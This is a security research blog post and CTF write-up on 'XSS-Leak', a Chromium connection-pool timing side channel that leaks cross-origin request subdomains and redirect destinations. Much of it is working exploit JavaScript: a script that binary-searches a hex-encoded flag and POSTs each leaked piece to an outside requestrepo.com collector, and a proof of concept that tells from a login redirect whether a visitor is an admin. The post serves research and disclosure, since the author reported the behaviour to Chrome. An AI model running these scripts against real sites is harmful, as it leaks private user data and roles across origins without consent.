XSS-Leak: Leaking Cross-Origin Redirects
0 net
XSS-Leak: Leaking Cross-Origin Redirects
Posted on
2025-09-18 11:15:00
• 2086 words
• 10 minute read
Tags:
Cybersec ,
Research ,
client-side ,
Writeup ,
Chrome
In this post, I will introduce XSS-Leak (“Cross-Site-Subdomain Leak”), a technique for Chromium-based browsers that leaks cross-origin redirects, fetch() destinations, and more. I use the name XSS-Leak because the original goal was to leak subdomains of cross-origin requests, as I’ll explain later.
Index
Index
Challenge Overview
Route /
Content Security Policy
Route /report
Swimming in the connection pool (again)
Exploit - Leaking subdomains of cross-origin requests
PoC
Leaking redirect hosts
PoC - Admin
PoC - User
Use Cases
Limitations
Conclusion
A few months ago I found a cool way to leak subdomains from cross-origin (no injection required), so I created a small challenge and posted it on X.
Only two people managed to get the flag: 🩸 first blood to
0xAl3ssandro
and the second solve to
J0R1AN
, congrats!
Challenge Overview
We’re given a minimal Express app which exposes two routes:
/ , serves a page with an inline script
/report , triggers a visit from a headless Chrome bot
Route /
< html lang = "en" >
< head >
< meta charset = "UTF-8" >
< meta name = "viewport" content = "width=device-width, initial-scale=1.0" >
< title > challenge-01 title >
< p id = "result" > Hello World! p >
head >
< body >
< script nonce = "<%= nonce %>" >
const DOMAIN = "<%= DOMAIN %>" ;
const PORT = "<%= PORT %>" ;
const result = document . getElementById ( "result" );
const toHex = s => [... new TextEncoder (). encode ( s )]. map ( b => b . toString ( 16 ). padStart ( 2 , '0' )). join ( '' );
window . onhashchange = () => {
let flag = localStorage . getItem ( "flag" ) || "flag{fake_flag_for_testing}" ;
fetch ( `http:// ${ toHex ( flag ) } . ${ DOMAIN } : ${ PORT } ` )
. finally (() => result . innerText = "request sent" )
}
script >
body >
html >
When location.hash changes, the page:
Reads flag from localStorage and hex-encodes it
Sends a request to http://.${DOMAIN}:${PORT} ( DOMAIN = challenge-01.babelo.xyz and PORT = 80 )
Prints request sent
Note
Note: window.onhashchange wasn’t required to solve the challenge, but it made the exploitation easier.
Content Security Policy
The server also sends a strict CSP
app . use (( req , res , next ) => {
const nonce = crypto . randomBytes ( 16 ). toString ( 'base64' );
res . locals . nonce = nonce ;
res . setHeader ( "Content-Security-Policy" , `default-src 'none'; script-src 'nonce- ${ nonce } '; connect-src *. ${ DOMAIN } ; base-uri 'none'; frame-ancestors 'none'` );
next ();
});
So network requests are restricted to *.${DOMAIN}:${PORT} ( connect-src ) and framing is blocked both ways: the page can’t create frames and it cannot be embedded by others ( frame-ancestors 'none' )
Route /report
The bot simulates a user (or admin) using Chrome:
try {
...
page = await context . newPage ();
console . log ( `The admin will visit ${ SITE } first, and then ${ url } ` );
await page . goto ( ` ${ SITE } ` , { waitUntil : "domcontentloaded" , timeout : 5000 });
await sleep ( 100 );
await page . evaluate (( flag ) => {
localStorage . setItem ( 'flag' , flag );
}, FLAG );
console . log ( `localStorage.setItem('flag', ' ${ FLAG } ')` )
await sleep ( 500 );
} catch ( err ) {
console . error ( err );
if ( browser ) await browser . close ();
return reject ( new Error ( "Error: Setup failed, if this happens consistently on remote contact the admin" ));
}
resolve ( "The admin will visit your URL soon" );
try {
await page . goto ( url , { waitUntil : "domcontentloaded" , timeout : 5000 });
await sleep ( 120_000 );
} catch ( err ) {
console . error ( err );
}
The bot, will:
visits the challenge site
stores the flag in the local storage
Navigates to a supplied URL
sleeps for 120 seconds
Swimming In The Connection Pool (again)
To solve this challenge, you need to know how Chrome’s connection pool works ( background:
https://xsleaks.dev
). In short, Chrome can run up to 256 concurrent requests across different origins, but only 6 in parallel to the same origin.
Chrome schedules by priority first: the request with the highest priority gets a socket (see the priority table
here
). But what if two requests have the same priority?
You might expect FIFO, surprisingly, that’s not what happens! When two requests have the same priority, Chrome will sort by port, then scheme, then host. So if two request have the same priority, port and scheme, Chrome will prioritize the one whose host is lexicographically lower (details in my earlier post
here
)
Example: if request A targets http://google.com:80 and request B targets http://example.com:80 , http://example.com:80 wins and gets the socket first (same port and scheme but example.com < google.com ).
This quirk gives us an oracle. We can “guess” the unknown subdomain (the one the page fetches) with a binary search: by sending a request to a test host and seeing which request “goes first”, we can detect whether our host comes before or after the challenge one alphabetically.
I explained this behaviour in a
previous article
in a detailed way. Here I’ll just cover what we need for the exploit
Exploit - Leaking subdomains of cross-origin requests
Firstly, let’s create some functions to setup the connection pool
const sleep = ( ms ) => {
return new Promise ( resolve => {
setTimeout ( resolve , ms );
});
}
// sends a fetch request that takes 360 seconds to finish
const fetch_sleep_long = ( i ) => {
controller = new AbortController ();
const signal = controller . signal ;
fetch ( `http://sleep ${ i } . ${ MYSERVER } /360?q= ${ i } ` , {
mode : 'no-cors' ,
signal : signal
});
return controller
}
// blocks one socket
const block_socket = async ( i ) => {
let controller = fetch_sleep_long ( i );
await sleep ( 0 );
return controller ;
}
// exhausts all sockets except one
const exhaust_sockets = async () => {
let i = 0
for (; i < SOCKETLIMIT ; i ++ ) {
let controller = await block_socket ( i );
controllers . push ( controller );
}
}
Then, we need a way to detect which request goes first. My exploit does the following:
Exhausts the entire pool
Triggers the challenge’s cross-origin request (priority: High)
Sends our request to FFF.attacker.com (same priority as the previous one)
Frees exactly one socket and immediately sends a request to a host that is always lexicographically smaller (eg. 0000.attacker.com ) and responds after a measurable delay (eg. ~250ms). Only one of the two passes (one of the previous fetch requests vs 0000.attacker.com ), the other stalls.
If the first request completes quickly (< ~250ms), then our host is lexicographically smaller than the challenge one. If it takes much longer, it’s greater (> ~600ms).
Performs a binary search on the unknown subdomain using this oracle
Repeats until the entire flag is leaked
const fetch_leak = async ( qq , threshold ) => {
let start = performance . now ();
await fetch ( `http:// ${ qq } FFFFFF. ${ MYSERVER } /0?q= ${ qq } ` , {
mode : 'no-cors' ,
method : "HEAD"
});
log ( `fetch_leak( ${ qq } ) took ${ performance . now () - start } ms` );
return performance . now () - start > threshold ;
}
async function test ( leak , w , threshold ){
const charset = "0123456789ABCDEF" ;
let lo = 0 ;
let hi = charset . length - 1 ;
let mid ;
while ( lo <= hi ) {
let res_blocker_controller = await fetch_sleep_long ( 1337 );
await sleep ( 0 );
log ( "blocked last socket" )
log ( "changing location" )
// here the cross-origin request is triggered
w . location = ` ${ TARGET } #b` ;
await sleep ( 100 );
let midIndex = Math . floor (( lo + hi ) / 2 );
mid = charset [ midIndex ];
let promise1 = fetch_leak ( leak + mid , threshold );
await sleep ( 100 );
res_blocker_controller . abort ();
let promise2 = loadFont ( "asdasd" , `http://000000. ${ MYSERVER } /ssleep/250` );
let is_lower = ! ( await promise1 );
await promise2
if ( is_lower ) {
lo = midIndex + 1 ;
} else {
hi = midIndex - 1 ;
}
log ( "changing location again" )
w . location = ` ${ TARGET } #a` ;
}
mid = charset [ lo ];
return mid ;
}
async function main (){
let myserver_timing = await measure_fetch_leak ();
let target_timing = await measure_fetch_target ();
let font_timing = await measure_font ();
log ( `Threshold: ${ myserver_timing + target_timing + font_timing } ` );
await exhaust_sockets ()
let start = performance . now ();
w = window . open ( ` ${ TARGET } #a` , "_blank" , "width=800,height=600" );
await sleep ( 100 );
let leak = "" ; // flag{
while ( ! tryDecodeHex ( leak ). includes ( "}" )){
log ( `Testing for next character... Current leak: ${ leak } ` );
let c = await test ( leak , w , myserver_timing + target_timing + font_timing );
if ( c ){
leak += c ;
} else {
leak = leak . slice ( 0 , - 1 );
}
clear_log ();
log ( `Leaked: ${ leak } ` );
await fetch ( "https://xxxxxxxxxx.requestrepo.com/" , {
body : ` ${ leak } || ${ tryDecodeHex ( leak ) } ` ,
mode : "no-cors" ,
method : "POST"
})
}
log ( `Final leak: ${ leak } ` );
log ( `Time taken: ${ ( performance . now () - start ) / 1000 } seconds` );
}
main ();
This leaks the entire flag in ~70s.
You can find the full exploit
here
Flag: flag{gj2e4syr1ght?}
PoC
Leaking redirect hosts
This technique also lets us leak where a redirect goes. I built a small demo app to illustrate it (source code
here
). In short:
Google acts as the OpenID Connect provider
There are two roles: admins and users
Each role has its own subdomain: admin.test.localhost.com (admins) and app.test.localhost.com (users).
After login, the user is redirected to their subdomain.
Hitting /login again auto-redirects the user to that subdomain.
With our technique, we can tell in under two seconds whether a visitor is an admin or a regular user! The idea is similar to the subdomain trick, but redirects add an extra step: requesting auth.localhost.com/login triggers a second request (the redirect). We need to isolate that. We do this by freeing and re-blocking the last socket so the initial request completes while the redirect is forced to wait.
From there, it’s the same ordering oracle: choose a hostname that sorts between admin and app , let’s say ajj . If the user is an admin, the redirect to admin.test.localhost.com will be scheduled before our request to ajj.attacker.com , so our request will be delayed. If the user is a regular user, the redirect goes to app.test.localhost.com , which sorts after ajj.attacker.com , so our request finishes immediately.
Because the redirect navigation has VeryHigh priority, our requests must match that priority, a frame navigation works.
Exploit steps:
Exhaust the entire pool
Open auth.localhost.com/login in a window
Free exactly one socket and then immediately block it again, ensuring the first request gets scheduled while the redirect request remains pending.
Trigger a frame navigation to ajj.attacker.com (same priority as the redirect)
Free one socket and then re-block it immediately, forcing a “race” between the pending redirect and our pending frame navigation.
Send a new frame navigation to a host that is always lexicographically smaller (eg. 0000000.attacker.com ) and make it take ~500ms to complete.
Finally, free one socket and immediately re-block it. Our 0000000.attacker.com request will always win the race, causing the pending one to hang for ~500 ms longer.
If our request stalls, the redirect host sorts before ajj.attacker.com ( admin.test.localhost.com ). If our request finishes immediately, then the redirect host sorts after ajj ( app.test.localhost.com )
This single comparision is enough to distinguish admin vs user. If you had more than two candidates, you can extend it to a binary search just like before.
< html lang = "en" >
< head >
< title > Hello world title >
head >
< body >
< button onclick = "popunder();" >
click me pls
button >
< script >
let w ;
const popunder = () => {
if ( window . opener ){
w = window . opener
} else {
w = window . open ( ` ${ location . href } #1` , target = "_blank" )
location = `about:blank`
}
}
script >
< script >
SOCKETLIMIT = 255 ;
MYSERVER = `...` ; // eg. sleep.attacker.com
const sleep = ( ms ) => {
return new Promise ( resolve => {
setTimeout ( resolve , ms );
});
}
const controllers = [];
async function loadIframe ( url , name ) {
const iframe = document . createElement ( 'iframe' );
iframe . src = url ;
iframe . name = name ;
iframe . style . width = '200px' ;
iframe . style . height = '200px' ;
iframe . style . display = 'none' ;
document . body . appendChild ( iframe );
return new Promise (( resolve ) => {
let start = performance . now ();
const cleanup = () => {
let end = performance . now () - start ;
iframe . src = "about:blank" ;
document . body . removeChild ( iframe );
resolve ( end );
};
iframe . onload = cleanup ;
iframe . onerror = cleanup ;
});
}
const log = ( l , type = 'INFO' ) => {
logtextarea . value += ` ${ l } \n` ;
logtextarea . scrollTop = logtextarea . scrollHeight ;
}
const fetch_sleep_long = ( i ) => {
controller = new AbortController ();
const signal = controller . signal ;
fetch ( `http://sleep ${ i } . ${ MYSERVER } /360?q= ${ i } ` , {
mode : 'no-cors' ,
signal : signal
});
return controller
}
const block_socket = async ( i ) => {
let controller = fetch_sleep_long ( i );
await sleep ( 0 );
return controller ;
}
const exhaust_sockets = async () => {
let i = 0
for (; i < SOCKETLIMIT ; i ++ ) {
let controller = await block_socket ( i );
controllers . push ( controller );
}
}
async function clearIframes (){
const iframes = document . querySelectorAll ( 'iframe' );
iframes . forEach ( iframe => {
iframe . src = 'about:blank' ;
iframe . remove ();
});
}
async function test ( w , sb ){
await clearIframes ();
console . log ( "block fetch sleep long" )
// 1) exhaust the last socket
let block = fetch_sleep_long ( 1234 );
// 2) Open `auth.localhost.com/login` in a window
await sleep ( 20 );
w . location = `http://auth.localhost.com/login? ${ Math . random () } ` ;
// 3) Free exactly one socket and then immediately block it again
await sleep ( 100 );
block . abort ()
block = fetch_sleep_long ( 1234 );
// 4) Trigger a frame navigation to `ajj.attacker.com`
await sleep ( 20 );
let p = loadIframe ( `http:// ${ sb } . ${ MYSERVER } /0? ${ Math . random () } ` , "win1" );
// 5) Free one socket and then re-block it immediately, forcing a "race" between the pending redirect and our pending frame navigation
await sleep ( 100 )
block . abort ()
block = fetch_sleep_long ( 1234 );
// 6) We send a new frame navigation which will take ~500ms to finish
let p2 = loadIframe ( `http://00000000000000000000. ${ MYSERVER } /ssleep/500? ${ Math . random () } ` , "win2" );
await sleep ( 100 );
// 7) Finally, free one socket and then re-block it immediately
block . abort ()
block = fetch_sleep_long ( 1234 );
await sleep ( 500 )
block . abort ()
let res = await p ;
console . log ( res );
return res ;
}
async function main (){
await exhaust_sockets () // Exhaust the entire pool - 1
let result = await test ( w , "ajjjjjjj" );
if ( result > 500 ){
document . write ( `You're an admin (admin.test.localhost.com)` );
} else {
document . write ( `You're a regular user (app.test.localhost.com)` )
}
}
if ( location . hash ){
main ();
w = window . opener ;
}
script >
PoC - admin
PoC - user
Use cases
This technique is not limited to leaking subdomains of cross-origin requests but it’s useful in several other scenarios:
Cross-Origin Request Counting:
https://blog.babelo.xyz/posts/css-exfiltration-under-default-src-self/#swimming-in-the-connection-pool-
Delay POST requests:
https://github.com/icesfont/ctf-writeups/tree/main/idekctf/2025#appendix
Leak the scheme of cross-origin requests
Leak the port of cross-origin requests
Possibly leak GroupId.privacy_mode_ 1 (not verified).
Limitations
Only works in Chromium-based browsers
Conclusion
This post is a follow-up to my
previous post
from a few months ago. Since then, I reported the behaviour to Chrome. Because it’s essentially a variant of the
classic connection-pool
exhaustion attack, they considered it likely WAI and I don’t think it will be fixed soon.
Thanks for reading.
https://source.chromium.org/chromium/chromium/src/+/main:net/socket/client_socket_pool.h;l=162;drc=48d6f7175422b2c969c14258f9f8d5b196c28d18
↩︎